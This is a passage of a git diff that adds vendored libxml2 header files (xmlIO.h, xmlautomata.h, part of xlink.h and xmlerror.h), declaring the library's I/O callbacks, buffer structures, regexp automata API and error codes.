(xlinkNodeDetectFunc func); + +/* + * Routines to set/get the default handlers. + */ +XMLPUBFUN xlinkHandlerPtr XMLCALL + xlinkGetDefaultHandler (void); +XMLPUBFUN void XMLCALL + xlinkSetDefaultHandler (xlinkHandlerPtr handler); + +/* + * Link detection module itself. + */ +XMLPUBFUN xlinkType XMLCALL + xlinkIsLink (xmlDocPtr doc, + xmlNodePtr node); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_XPTR_ENABLED */ + +#endif /* __XML_XLINK_H__ */ diff --git a/installer/libxml2/include/libxml/xmlIO.h b/installer/libxml2/include/libxml/xmlIO.h new file mode 100644 index 0000000..3e41744 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlIO.h @@ -0,0 +1,366 @@ +/* + * Summary: interface for the I/O interfaces used by the parser + * Description: interface for the I/O interfaces used by the parser + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_IO_H__ +#define __XML_IO_H__ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Those are the functions and datatypes for the parser input + * I/O structures. + */ + +/** + * xmlInputMatchCallback: + * @filename: the filename or URI + * + * Callback used in the I/O Input API to detect if the current handler + * can provide input fonctionnalities for this resource. + * + * Returns 1 if yes and 0 if another Input module should be used + */ +typedef int (XMLCALL *xmlInputMatchCallback) (char const *filename); +/** + * xmlInputOpenCallback: + * @filename: the filename or URI + * + * Callback used in the I/O Input API to open the resource + * + * Returns an Input context or NULL in case or error + */ +typedef void * (XMLCALL *xmlInputOpenCallback) (char const *filename); +/** + * xmlInputReadCallback: + * @context: an Input context + * @buffer: the buffer to store data read + * @len: the length of the buffer in bytes + * + * Callback used in the I/O Input API to read the resource + * + * Returns the number of bytes read or -1 in case of error + */ +typedef int (XMLCALL *xmlInputReadCallback) (void * context, char * buffer, int len); +/** + * xmlInputCloseCallback: + * @context: an Input context + * + * Callback used in the I/O Input API to close the resource + * + * Returns 0 or -1 in case of error + */ +typedef int (XMLCALL *xmlInputCloseCallback) (void * context); + +#ifdef LIBXML_OUTPUT_ENABLED +/* + * Those are the functions and datatypes for the library output + * I/O structures. + */ + +/** + * xmlOutputMatchCallback: + * @filename: the filename or URI + * + * Callback used in the I/O Output API to detect if the current handler + * can provide output fonctionnalities for this resource. + * + * Returns 1 if yes and 0 if another Output module should be used + */ +typedef int (XMLCALL *xmlOutputMatchCallback) (char const *filename); +/** + * xmlOutputOpenCallback: + * @filename: the filename or URI + * + * Callback used in the I/O Output API to open the resource + * + * Returns an Output context or NULL in case or error + */ +typedef void * (XMLCALL *xmlOutputOpenCallback) (char const *filename); +/** + * xmlOutputWriteCallback: + * @context: an Output context + * @buffer: the buffer of data to write + * @len: the length of the buffer in bytes + * + * Callback used in the I/O Output API to write to the resource + * + * Returns the number of bytes written or -1 in case of error + */ +typedef int (XMLCALL *xmlOutputWriteCallback) (void * context, const char * buffer, + int len); +/** + * xmlOutputCloseCallback: + * @context: an Output context + * + * Callback used in the I/O Output API to close the resource + * + * Returns 0 or -1 in case of error + */ +typedef int (XMLCALL *xmlOutputCloseCallback) (void * context); +#endif /* LIBXML_OUTPUT_ENABLED */ + +#ifdef __cplusplus +} +#endif + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif +struct _xmlParserInputBuffer { + void* context; + xmlInputReadCallback readcallback; + xmlInputCloseCallback closecallback; + + xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ + + xmlBufPtr buffer; /* Local buffer encoded in UTF-8 */ + xmlBufPtr raw; /* if encoder != NULL buffer for raw input */ + int compressed; /* -1=unknown, 0=not compressed, 1=compressed */ + int error; + unsigned long rawconsumed;/* amount consumed from raw */ +}; + + +#ifdef LIBXML_OUTPUT_ENABLED +struct _xmlOutputBuffer { + void* context; + xmlOutputWriteCallback writecallback; + xmlOutputCloseCallback closecallback; + + xmlCharEncodingHandlerPtr encoder; /* I18N conversions to UTF-8 */ + + xmlBufPtr buffer; /* Local buffer encoded in UTF-8 or ISOLatin */ + xmlBufPtr conv; /* if encoder != NULL buffer for output */ + int written; /* total number of byte written */ + int error; +}; +#endif /* LIBXML_OUTPUT_ENABLED */ + +/* + * Interfaces for input + */ +XMLPUBFUN void XMLCALL + xmlCleanupInputCallbacks (void); + +XMLPUBFUN int XMLCALL + xmlPopInputCallbacks (void); + +XMLPUBFUN void XMLCALL + xmlRegisterDefaultInputCallbacks (void); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlAllocParserInputBuffer (xmlCharEncoding enc); + +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateFilename (const char *URI, + xmlCharEncoding enc); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateFile (FILE *file, + xmlCharEncoding enc); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateFd (int fd, + xmlCharEncoding enc); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateMem (const char *mem, int size, + xmlCharEncoding enc); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateStatic (const char *mem, int size, + xmlCharEncoding enc); +XMLPUBFUN xmlParserInputBufferPtr XMLCALL + xmlParserInputBufferCreateIO (xmlInputReadCallback ioread, + xmlInputCloseCallback ioclose, + void *ioctx, + xmlCharEncoding enc); +XMLPUBFUN int XMLCALL + xmlParserInputBufferRead (xmlParserInputBufferPtr in, + int len); +XMLPUBFUN int XMLCALL + xmlParserInputBufferGrow (xmlParserInputBufferPtr in, + int len); +XMLPUBFUN int XMLCALL + xmlParserInputBufferPush (xmlParserInputBufferPtr in, + int len, + const char *buf); +XMLPUBFUN void XMLCALL + xmlFreeParserInputBuffer (xmlParserInputBufferPtr in); +XMLPUBFUN char * XMLCALL + xmlParserGetDirectory (const char *filename); + +XMLPUBFUN int XMLCALL + xmlRegisterInputCallbacks (xmlInputMatchCallback matchFunc, + xmlInputOpenCallback openFunc, + xmlInputReadCallback readFunc, + xmlInputCloseCallback closeFunc); + +xmlParserInputBufferPtr + __xmlParserInputBufferCreateFilename(const char *URI, + xmlCharEncoding enc); + +#ifdef LIBXML_OUTPUT_ENABLED +/* + * Interfaces for output + */ +XMLPUBFUN void XMLCALL + xmlCleanupOutputCallbacks (void); +XMLPUBFUN void XMLCALL + xmlRegisterDefaultOutputCallbacks(void); +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlAllocOutputBuffer (xmlCharEncodingHandlerPtr encoder); + +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlOutputBufferCreateFilename (const char *URI, + xmlCharEncodingHandlerPtr encoder, + int compression); + +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlOutputBufferCreateFile (FILE *file, + xmlCharEncodingHandlerPtr encoder); + +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlOutputBufferCreateBuffer (xmlBufferPtr buffer, + xmlCharEncodingHandlerPtr encoder); + +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlOutputBufferCreateFd (int fd, + xmlCharEncodingHandlerPtr encoder); + +XMLPUBFUN xmlOutputBufferPtr XMLCALL + xmlOutputBufferCreateIO (xmlOutputWriteCallback iowrite, + xmlOutputCloseCallback ioclose, + void *ioctx, + xmlCharEncodingHandlerPtr encoder); + +/* Couple of APIs to get the output without digging into the buffers */ +XMLPUBFUN const xmlChar * XMLCALL + xmlOutputBufferGetContent (xmlOutputBufferPtr out); +XMLPUBFUN size_t XMLCALL + xmlOutputBufferGetSize (xmlOutputBufferPtr out); + +XMLPUBFUN int XMLCALL + xmlOutputBufferWrite (xmlOutputBufferPtr out, + int len, + const char *buf); +XMLPUBFUN int XMLCALL + xmlOutputBufferWriteString (xmlOutputBufferPtr out, + const char *str); +XMLPUBFUN int XMLCALL + xmlOutputBufferWriteEscape (xmlOutputBufferPtr out, + const xmlChar *str, + xmlCharEncodingOutputFunc escaping); + +XMLPUBFUN int XMLCALL + xmlOutputBufferFlush (xmlOutputBufferPtr out); +XMLPUBFUN int XMLCALL + xmlOutputBufferClose (xmlOutputBufferPtr out); + +XMLPUBFUN int XMLCALL + xmlRegisterOutputCallbacks (xmlOutputMatchCallback matchFunc, + xmlOutputOpenCallback openFunc, + xmlOutputWriteCallback writeFunc, + xmlOutputCloseCallback closeFunc); + +xmlOutputBufferPtr + __xmlOutputBufferCreateFilename(const char *URI, + xmlCharEncodingHandlerPtr encoder, + int compression); + +#ifdef LIBXML_HTTP_ENABLED +/* This function only exists if HTTP support built into the library */ +XMLPUBFUN void XMLCALL + xmlRegisterHTTPPostCallbacks (void ); +#endif /* LIBXML_HTTP_ENABLED */ + +#endif /* LIBXML_OUTPUT_ENABLED */ + +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlCheckHTTPInput (xmlParserCtxtPtr ctxt, + xmlParserInputPtr ret); + +/* + * A predefined entity loader disabling network accesses + */ +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlNoNetExternalEntityLoader (const char *URL, + const char *ID, + xmlParserCtxtPtr ctxt); + +/* + * xmlNormalizeWindowsPath is obsolete, don't use it. + * Check xmlCanonicPath in uri.h for a better alternative. + */ +XMLPUBFUN xmlChar * XMLCALL + xmlNormalizeWindowsPath (const xmlChar *path); + +XMLPUBFUN int XMLCALL + xmlCheckFilename (const char *path); +/** + * Default 'file://' protocol callbacks + */ +XMLPUBFUN int XMLCALL + xmlFileMatch (const char *filename); +XMLPUBFUN void * XMLCALL + xmlFileOpen (const char *filename); +XMLPUBFUN int XMLCALL + xmlFileRead (void * context, + char * buffer, + int len); +XMLPUBFUN int XMLCALL + xmlFileClose (void * context); + +/** + * Default 'http://' protocol callbacks + */ +#ifdef LIBXML_HTTP_ENABLED +XMLPUBFUN int XMLCALL + xmlIOHTTPMatch (const char *filename); +XMLPUBFUN void * XMLCALL + xmlIOHTTPOpen (const char *filename); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void * XMLCALL + xmlIOHTTPOpenW (const char * post_uri, + int compression ); +#endif /* LIBXML_OUTPUT_ENABLED */ +XMLPUBFUN int XMLCALL + xmlIOHTTPRead (void * context, + char * buffer, + int len); +XMLPUBFUN int XMLCALL + xmlIOHTTPClose (void * context); +#endif /* LIBXML_HTTP_ENABLED */ + +/** + * Default 'ftp://' protocol callbacks + */ +#ifdef LIBXML_FTP_ENABLED +XMLPUBFUN int XMLCALL + xmlIOFTPMatch (const char *filename); +XMLPUBFUN void * XMLCALL + xmlIOFTPOpen (const char *filename); +XMLPUBFUN int XMLCALL + xmlIOFTPRead (void * context, + char * buffer, + int len); +XMLPUBFUN int XMLCALL + xmlIOFTPClose (void * context); +#endif /* LIBXML_FTP_ENABLED */ + +#ifdef __cplusplus +} +#endif + +#endif /* __XML_IO_H__ */ diff --git a/installer/libxml2/include/libxml/xmlautomata.h b/installer/libxml2/include/libxml/xmlautomata.h new file mode 100644 index 0000000..bf1b131 --- /dev/null +++ b/installer/libxml2/include/libxml/xmlautomata.h @@ -0,0 +1,146 @@ +/* + * Summary: API to build regexp automata + * Description: the API to build regexp automata + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_AUTOMATA_H__ +#define __XML_AUTOMATA_H__ + +#include +#include + +#ifdef LIBXML_REGEXP_ENABLED +#ifdef LIBXML_AUTOMATA_ENABLED +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlAutomataPtr: + * + * A libxml automata description, It can be compiled into a regexp + */ +typedef struct _xmlAutomata xmlAutomata; +typedef xmlAutomata *xmlAutomataPtr; + +/** + * xmlAutomataStatePtr: + * + * A state int the automata description, + */ +typedef struct _xmlAutomataState xmlAutomataState; +typedef xmlAutomataState *xmlAutomataStatePtr; + +/* + * Building API + */ +XMLPUBFUN xmlAutomataPtr XMLCALL + xmlNewAutomata (void); +XMLPUBFUN void XMLCALL + xmlFreeAutomata (xmlAutomataPtr am); + +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataGetInitState (xmlAutomataPtr am); +XMLPUBFUN int XMLCALL + xmlAutomataSetFinalState (xmlAutomataPtr am, + xmlAutomataStatePtr state); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewState (xmlAutomataPtr am); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewTransition (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewTransition2 (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + const xmlChar *token2, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewNegTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + const xmlChar *token2, + void *data); + +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewCountTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + int min, + int max, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewCountTrans2 (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + const xmlChar *token2, + int min, + int max, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewOnceTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + int min, + int max, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewOnceTrans2 (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + const xmlChar *token, + const xmlChar *token2, + int min, + int max, + void *data); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewAllTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + int lax); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewEpsilon (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewCountedTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + int counter); +XMLPUBFUN xmlAutomataStatePtr XMLCALL + xmlAutomataNewCounterTrans (xmlAutomataPtr am, + xmlAutomataStatePtr from, + xmlAutomataStatePtr to, + int counter); +XMLPUBFUN int XMLCALL + xmlAutomataNewCounter (xmlAutomataPtr am, + int min, + int max); + +XMLPUBFUN xmlRegexpPtr XMLCALL + xmlAutomataCompile (xmlAutomataPtr am); +XMLPUBFUN int XMLCALL + xmlAutomataIsDeterminist (xmlAutomataPtr am); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_AUTOMATA_ENABLED */ +#endif /* LIBXML_REGEXP_ENABLED */ + +#endif /* __XML_AUTOMATA_H__ */ diff --git a/installer/libxml2/include/libxml/xmlerror.h b/installer/libxml2/include/libxml/xmlerror.h new file mode 100644 index 0000000..037c16d --- /dev/null +++ b/installer/libxml2/include/libxml/xmlerror.h @@ -0,0 +1,945 @@ +/* + * Summary: error handling + * Description: the API used to report errors + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#include + +#ifndef __XML_ERROR_H__ +#define __XML_ERROR_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * xmlErrorLevel: + * + * Indicates the level of an error + */ +typedef enum { + XML_ERR_NONE = 0, + XML_ERR_WARNING = 1, /* A simple warning */ + XML_ERR_ERROR = 2, /* A recoverable error */ + XML_ERR_FATAL = 3 /* A fatal error */ +} xmlErrorLevel; + +/** + * xmlErrorDomain: + * + * Indicates where an error may have come from + */ +typedef enum { + XML_FROM_NONE = 0, + XML_FROM_PARSER, /* The XML parser */ + XML_FROM_TREE, /* The tree module */ + XML_FROM_NAMESPACE, /* The XML Namespace module */ + XML_FROM_DTD, /* The XML DTD validation with parser context*/ + XML_FROM_HTML, /* The HTML parser */ + XML_FROM_MEMORY, /* The memory allocator */ + XML_FROM_OUTPUT, /* The serialization code */ + XML_FROM_IO, /* The Input/Output stack */ + XML_FROM_FTP, /* The FTP module */ + XML_FROM_HTTP, /* The HTTP module */ + XML_FROM_XINCLUDE, /* The XInclude processing */ + XML_FROM_XPATH, /* The XPath module */ + XML_FROM_XPOINTER, /* The XPointer module */ + XML_FROM_REGEXP, /* The regular expressions module */ + XML_FROM_DATATYPE, /* The W3C XML Schemas Datatype module */ + XML_FROM_SCHEMASP, /* The W3C XML Schemas parser module */ + XML_FROM_SCHEMASV, /* The W3C XML Schemas validation module */ + XML_FROM_RELAXNGP, /* The Relax-NG parser module */ + XML_FROM_RELAXNGV, /* The Relax-NG validator module */ + XML_FROM_CATALOG, /* The Catalog module */ + XML_FROM_C14N, /* The Canonicalization module */ + XML_FROM_XSLT, /* The XSLT engine from libxslt */ + XML_FROM_VALID, /* The XML DTD validation with valid context */ + XML_FROM_CHECK, /* The error checking module */ + XML_FROM_WRITER, /* The xmlwriter module */ + XML_FROM_MODULE, /* The dynamically loaded module module*/ + XML_FROM_I18N, /* The module handling character conversion */ + XML_FROM_SCHEMATRONV,/* The Schematron validator module */ + XML_FROM_BUFFER, /* The buffers module */ + XML_FROM_URI /* The URI module */ +} xmlErrorDomain; + +/** + * xmlError: + * + * An XML Error instance. + */ + +typedef struct _xmlError xmlError; +typedef xmlError *xmlErrorPtr; +struct _xmlError { + int domain; /* What part of the library raised this error */ + int code; /* The error code, e.g. an xmlParserError */ + char *message;/* human-readable informative error message */ + xmlErrorLevel level;/* how consequent is the error */ + char *file; /* the filename */ + int line; /* the line number if available */ + char *str1; /* extra string information */ + char *str2; /* extra string information */ + char *str3; /* extra string information */ + int int1; /* extra number information */ + int int2; /* error column # or 0 if N/A (todo: rename field when we would brk ABI) */ + void *ctxt; /* the parser context if available */ + void *node; /* the node in the tree */ +}; + +/** + * xmlParserError: + * + * This is an error that the XML (or HTML) parser can generate + */ +typedef enum { + XML_ERR_OK = 0, + XML_ERR_INTERNAL_ERROR, /* 1 */ + XML_ERR_NO_MEMORY, /* 2 */ + XML_ERR_DOCUMENT_START, /* 3 */ + XML_ERR_DOCUMENT_EMPTY, /* 4 */ + XML_ERR_DOCUMENT_END, /* 5 */ + XML_ERR_INVALID_HEX_CHARREF, /* 6 */ + XML_ERR_INVALID_DEC_CHARREF, /* 7 */ + XML_ERR_INVALID_CHARREF, /* 8 */ + XML_ERR_INVALID_CHAR, /* 9 */ + XML_ERR_CHARREF_AT_EOF, /* 10 */ + XML_ERR_CHARREF_IN_PROLOG, /* 11 */ + XML_ERR_CHARREF_IN_EPILOG, /* 12 */ + XML_ERR_CHARREF_IN_DTD, /* 13 */ + XML_ERR_ENTITYREF_AT_EOF, /* 14 */ + XML_ERR_ENTITYREF_IN_PROLOG, /* 15 */ + XML_ERR_ENTITYREF_IN_EPILOG, /* 16 */ + XML_ERR_ENTITYREF_IN_DTD, /* 17 */ + XML_ERR_PEREF_AT_EOF, /* 18 */ + XML_ERR_PEREF_IN_PROLOG, /* 19 */ + XML_ERR_PEREF_IN_EPILOG, /* 20 */ + XML_ERR_PEREF_IN_INT_SUBSET, /* 21 */ + XML_ERR_ENTITYREF_NO_NAME, /* 22 */ + XML_ERR_ENTITYREF_SEMICOL_MISSING, /* 23 */ + XML_ERR_PEREF_NO_NAME, /* 24 */ + XML_ERR_PEREF_SEMICOL_MISSING, /* 25 */ + XML_ERR_UNDECLARED_ENTITY, /* 26 */ + XML_WAR_UNDECLARED_ENTITY, /* 27 */ + XML_ERR_UNPARSED_ENTITY, /* 28 */ + XML_ERR_ENTITY_IS_EXTERNAL, /* 29 */ + XML_ERR_ENTITY_IS_PARAMETER, /* 30 */ + XML_ERR_UNKNOWN_ENCODING, /* 31 */ + XML_ERR_UNSUPPORTED_ENCODING, /* 32 */ + XML_ERR_STRING_NOT_STARTED, /* 33 */ + XML_ERR_STRING_NOT_CLOSED, /* 34 */ + XML_ERR_NS_DECL_ERROR, /* 35 */ + XML_ERR_ENTITY_NOT_STARTED, /* 36 */ + XML_ERR_ENTITY_NOT_FINISHED, /* 37 */ + XML_ERR_LT_IN_ATTRIBUTE, /* 38 */ + XML_ERR_ATTRIBUTE_NOT_STARTED, /* 39 */ + XML_ERR_ATTRIBUTE_NOT_FINISHED, /* 40 */ + XML_ERR_ATTRIBUTE_WITHOUT_VALUE, /* 41 */ + XML_ERR_ATTRIBUTE_REDEFINED, /* 42 */ + XML_ERR_LITERAL_NOT_STARTED, /* 43 */ + XML_ERR_LITERAL_NOT_FINISHED, /* 44 */ + XML_ERR_COMMENT_NOT_FINISHED, /* 45 */ + XML_ERR_PI_NOT_STARTED, /* 46 */ + XML_ERR_PI_NOT_FINISHED, /* 47 */ + XML_ERR_NOTATION_NOT_STARTED, /* 48 */ + XML_ERR_NOTATION_NOT_FINISHED, /* 49 */ + XML_ERR_ATTLIST_NOT_STARTED, /* 50 */ + XML_ERR_ATTLIST_NOT_FINISHED, /* 51 */ + XML_ERR_MIXED_NOT_STARTED, /* 52 */ + XML_ERR_MIXED_NOT_FINISHED, /* 53 */ + XML_ERR_ELEMCONTENT_NOT_STARTED, /* 54 */ + XML_ERR_ELEMCONTENT_NOT_FINISHED, /* 55 */ + XML_ERR_XMLDECL_NOT_STARTED, /* 56 */ + XML_ERR_XMLDECL_NOT_FINISHED, /* 57 */ + XML_ERR_CONDSEC_NOT_STARTED, /* 58 */ + XML_ERR_CONDSEC_NOT_FINISHED, /* 59 */ + XML_ERR_EXT_SUBSET_NOT_FINISHED, /* 60 */ + XML_ERR_DOCTYPE_NOT_FINISHED, /* 61 */ + XML_ERR_MISPLACED_CDATA_END, /* 62 */ + XML_ERR_CDATA_NOT_FINISHED, /* 63 */ + XML_ERR_RESERVED_XML_NAME, /* 64 */ + XML_ERR_SPACE_REQUIRED, /* 65 */ + XML_ERR_SEPARATOR_REQUIRED, /* 66 */ + XML_ERR_NMTOKEN_REQUIRED, /* 67 */ + XML_ERR_NAME_REQUIRED, /* 68 */ + XML_ERR_PCDATA_REQUIRED, /* 69 */ + XML_ERR_URI_REQUIRED, /* 70 */ + XML_ERR_PUBID_REQUIRED, /* 71 */ + XML_ERR_LT_REQUIRED, /* 72 */ + XML_ERR_GT_REQUIRED, /* 73 */ + XML_ERR_LTSLASH_REQUIRED, /* 74 */ + XML_ERR_EQUAL_REQUIRED, /* 75 */ + XML_ERR_TAG_NAME_MISMATCH, /* 76 */ + XML_ERR_TAG_NOT_FINISHED, /* 77 */ + XML_ERR_STANDALONE_VALUE, /* 78 */ + XML_ERR_ENCODING_NAME, /* 79 */ + XML_ERR_HYPHEN_IN_COMMENT, /* 80 */ + XML_ERR_INVALID_ENCODING, /* 81 */ + XML_ERR_EXT_ENTITY_STANDALONE, /* 82 */ + XML_ERR_CONDSEC_INVALID, /* 83 */ + XML_ERR_VALUE_REQUIRED, /* 84 */ + XML_ERR_NOT_WELL_BALANCED, /* 85 */ + XML_ERR_EXTRA_CONTENT, /* 86 */ + XML_ERR_ENTITY_CHAR_ERROR, /* 87 */ + XML_ERR_ENTITY_PE_INTERNAL, /* 88 */ + XML_ERR_ENTITY_LOOP, /* 89 */ + XML_ERR_ENTITY_BOUNDARY, /* 90 */ + XML_ERR_INVALID_URI, /* 91 */ + XML_ERR_URI_FRAGMENT, /* 92 */ + XML_WAR_CATALOG_PI, /* 93 */ + XML_ERR_NO_DTD, /* 94 */ + XML_ERR_CONDSEC_INVALID_KEYWORD, /* 95 */ + XML_ERR_VERSION_MISSING, /* 96 */ + XML_WAR_UNKNOWN_VERSION, /* 97 */ + XML_WAR_LANG_VALUE, /* 98 */ + XML_WAR_NS_URI, /* 99 */ + XML_WAR_NS_URI_RELATIVE, /* 100 */ + XML_ERR_MISSING_ENCODING, /* 101 */ + XML_WAR_SPACE_VALUE, /* 102 */ + XML_ERR_NOT_STANDALONE, /* 103 */ + XML_ERR_ENTITY_PROCESSING, /* 104 */ + XML_ERR_NOTATION_PROCESSING, /* 105 */ + XML_WAR_NS_COLUMN, /* 106 */ + XML_WAR_ENTITY_REDEFINED, /* 107 */ + XML_ERR_UNKNOWN_VERSION, /* 108 */ + XML_ERR_VERSION_MISMATCH, /* 109 */ + XML_ERR_NAME_TOO_LONG, /* 110 */ + XML_ERR_USER_STOP, /* 111 */ + XML_NS_ERR_XML_NAMESPACE = 200, + XML_NS_ERR_UNDEFINED_NAMESPACE, /* 201 */ + XML_NS_ERR_QNAME, /* 202 */ + XML_NS_ERR_ATTRIBUTE_REDEFINED, /* 203 */ + XML_NS_ERR_EMPTY, /* 204 */ + XML_NS_ERR_COLON, /* 205 */ + XML_DTD_ATTRIBUTE_DEFAULT = 500, + XML_DTD_ATTRIBUTE_REDEFINED, /* 501 */ + XML_DTD_ATTRIBUTE_VALUE, /* 502 */ + XML_DTD_CONTENT_ERROR, /* 503 */ + XML_DTD_CONTENT_MODEL, /* 504 */ + XML_DTD_CONTENT_NOT_DETERMINIST, /* 505 */ + XML_DTD_DIFFERENT_PREFIX, /* 506 */ + XML_DTD_ELEM_DEFAULT_NAMESPACE, /* 507 */ + XML_DTD_ELEM_NAMESPACE, /* 508 */ + XML_DTD_ELEM_REDEFINED, /* 509 */ + XML_DTD_EMPTY_NOTATION, /* 510 */ + XML_DTD_ENTITY_TYPE, /* 511 */ + XML_DTD_ID_FIXED, /* 512 */ + XML_DTD_ID_REDEFINED, /* 513 */ + XML_DTD_ID_SUBSET, /* 514 */ + XML_DTD_INVALID_CHILD, /* 515 */ + XML_DTD_INVALID_DEFAULT, /* 516 */ + XML_DTD_LOAD_ERROR, /* 517 */ + XML_DTD_MISSING_ATTRIBUTE, /* 518 */ + XML_DTD_MIXED_CORRUPT, /* 519 */ + XML_DTD_MULTIPLE_ID, /* 520 */ + XML_DTD_NO_DOC, /* 521 */ + XML_DTD_NO_DTD, /* 522 */ + XML_DTD_NO_ELEM_NAME, /* 523 */ + XML_DTD_NO_PREFIX, /* 524 */ + XML_DTD_NO_ROOT, /* 525 */ + XML_DTD_NOTATION_REDEFINED, /* 526 */ + XML_DTD_NOTATION_VALUE, /* 527 */ + XML_DTD_NOT_EMPTY, /* 528 */ + XML_DTD_NOT_PCDATA, /* 529 */ + XML_DTD_NOT_STANDALONE, /* 530 */ + XML_DTD_ROOT_NAME, /* 531 */ + XML_DTD_STANDALONE_WHITE_SPACE, /* 532 */ + XML_DTD_UNKNOWN_ATTRIBUTE, /* 533 */ + XML_DTD_UNKNOWN_ELEM, /* 534 */ + XML_DTD_UNKNOWN_ENTITY, /* 535 */ + XML_DTD_UNKNOWN_ID, /* 536 */ + XML_DTD_UNKNOWN_NOTATION, /* 537 */ + XML_DTD_STANDALONE_DEFAULTED, /* 538 */ + XML_DTD_XMLID_VALUE, /* 539 */ + XML_DTD_XMLID_TYPE, /* 540 */ + XML_DTD_DUP_TOKEN, /* 541 */ + XML_HTML_STRUCURE_ERROR = 800, + XML_HTML_UNKNOWN_TAG, /* 801 */ + XML_RNGP_ANYNAME_ATTR_ANCESTOR = 1000, + XML_RNGP_ATTR_CONFLICT, /* 1001 */ + XML_RNGP_ATTRIBUTE_CHILDREN, /* 1002 */ + XML_RNGP_ATTRIBUTE_CONTENT, /* 1003 */ + XML_RNGP_ATTRIBUTE_EMPTY, /* 1004 */ + XML_RNGP_ATTRIBUTE_NOOP, /* 1005 */ + XML_RNGP_CHOICE_CONTENT, /* 1006 */ + XML_RNGP_CHOICE_EMPTY, /* 1007 */ + XML_RNGP_CREATE_FAILURE, /* 1008 */ + XML_RNGP_DATA_CONTENT, /* 1009 */ + XML_RNGP_DEF_CHOICE_AND_INTERLEAVE, /* 1010 */ + XML_RNGP_DEFINE_CREATE_FAILED, /* 1011 */ + XML_RNGP_DEFINE_EMPTY, /* 1012 */ + XML_RNGP_DEFINE_MISSING, /* 1013 */ + XML_RNGP_DEFINE_NAME_MISSING, /* 1014 */ + XML_RNGP_ELEM_CONTENT_EMPTY, /* 1015 */ + XML_RNGP_ELEM_CONTENT_ERROR, /* 1016 */ + XML_RNGP_ELEMENT_EMPTY, /* 1017 */ + XML_RNGP_ELEMENT_CONTENT, /* 1018 */ + XML_RNGP_ELEMENT_NAME, /* 1019 */ + XML_RNGP_ELEMENT_NO_CONTENT, /* 1020 */ + XML_RNGP_ELEM_TEXT_CONFLICT, /* 1021 */ + XML_RNGP_EMPTY, /* 1022 */ + XML_RNGP_EMPTY_CONSTRUCT, /* 1023 */ + XML_RNGP_EMPTY_CONTENT, /* 1024 */ + XML_RNGP_EMPTY_NOT_EMPTY, /* 1025 */ + XML_RNGP_ERROR_TYPE_LIB, /* 1026 */ + XML_RNGP_EXCEPT_EMPTY, /* 1027 */ + XML_RNGP_EXCEPT_MISSING, /* 1028 */ + XML_RNGP_EXCEPT_MULTIPLE, /* 1029 */ + XML_RNGP_EXCEPT_NO_CONTENT, /* 1030 */ + XML_RNGP_EXTERNALREF_EMTPY, /* 1031 */ + XML_RNGP_EXTERNAL_REF_FAILURE, /* 1032 */ + XML_RNGP_EXTERNALREF_RECURSE, /* 1033 */ + XML_RNGP_FORBIDDEN_ATTRIBUTE, /* 1034 */ + XML_RNGP_FOREIGN_ELEMENT, /* 1035 */ + XML_RNGP_GRAMMAR_CONTENT, /* 1036 */ + XML_RNGP_GRAMMAR_EMPTY, /* 1037 */ + XML_RNGP_GRAMMAR_MISSING, /* 1038 */ + XML_RNGP_GRAMMAR_NO_START, /* 1039 */ + 